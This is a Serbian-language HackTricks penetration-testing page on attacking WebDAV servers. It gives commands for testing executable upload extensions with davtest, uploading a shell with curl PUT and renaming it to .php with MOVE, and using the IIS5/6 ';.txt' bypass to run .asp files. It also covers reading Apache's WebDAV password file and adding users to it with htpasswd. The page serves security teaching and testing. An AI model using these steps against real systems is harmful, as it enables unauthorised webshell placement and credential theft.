# WebDav {{#include ../../banners/hacktricks-training.md}} Kada se radi sa **HTTP serverom sa WebDav** omogućenim, moguće je **manipulisati datotekama** ako imate prave **akreditive**, obično proverene putem **HTTP Basic Authentication**. Sticanje kontrole nad takvim serverom često uključuje **upload i izvršavanje webshell-a**. Pristup WebDav serveru obično zahteva **važeće akreditive**, pri čemu je [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) uobičajena metoda za njihovo sticanje. Da biste prevazišli ograničenja na upload datoteka, posebno ona koja sprečavaju izvršavanje skripti na serveru, možete: - **Upload**-ovati datoteke sa **izvršnim ekstenzijama** direktno ako nisu ograničene. - **Preimenujte** uploadovane neizvršne datoteke (kao što su .txt) u izvršnu ekstenziju. - **Kopirajte** uploadovane neizvršne datoteke, menjajući njihovu ekstenziju u onu koja je izvršna. ## DavTest **Davtest** pokušava da **uploaduje nekoliko datoteka sa različitim ekstenzijama** i **proverava** da li je ekstenzija **izvršena**: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension ``` ![](<../../images/image (851).png>) Ovo ne znači da se **.txt** i **.html ekstenzije izvršavaju**. To znači da možete **pristupiti ovim datotekama** putem veba. ## Cadaver Možete koristiti ovaj alat da **se povežete na WebDav** server i izvršite radnje (kao što su **upload**, **move** ili **delete**) **ručno**. ``` cadaver ``` ## PUT zahtev ``` curl -T 'shell.txt' 'http://$ip' ``` ## MOVE zahtev ```bash curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav ranjivost Ova ranjivost je veoma interesantna. **WebDav** **ne dozvoljava** **upload** ili **preimenovanje** fajlova sa ekstenzijom **.asp**. Ali možete **obići** ovo **dodajući** na kraj imena **";.txt"** i fajl će biti **izvršen** kao da je .asp fajl (takođe možete **koristiti ".html" umesto ".txt"** ali **NE zaboravite ";"**). Zatim možete **upload** vaš shell kao ".**txt" fajl** i **kopirati/premestiti ga u ".asp;.txt"** fajl. Pristupanjem tom fajlu preko web servera, biće **izvršen** (cadaver će reći da akcija premestanja nije uspela, ali jeste). ![](<../../images/image (1092).png>) ## Post akreditivi Ako je Webdav koristio Apache server, trebali biste pogledati konfigurisane sajtove u Apache-u. Obično:\ \_**/etc/apache2/sites-enabled/000-default**_ Unutra možete pronaći nešto poput: ``` ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav DAV On AuthType Digest AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` Kao što možete videti, postoje datoteke sa važećim **credentials** za **webdav** server: ``` /etc/apache2/users.password ``` Unutar ovog tipa datoteka naći ćete **korisničko ime** i **hash** lozinke. Ovo su akreditivi koje webdav server koristi za autentifikaciju korisnika. Možete pokušati da ih **provalite**, ili da **dodate više** ako iz nekog razloga želite da **pristupite** **webdav** serveru: ```bash htpasswd /etc/apache2/users.password #You will be prompted for the password ``` Da biste proverili da li nove kredencijale rade, možete uraditi: ```bash wget --user --ask-password http://domain/path/to/webdav/ -O - -q ``` ## Reference - [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/) {{#include ../../banners/hacktricks-training.md}}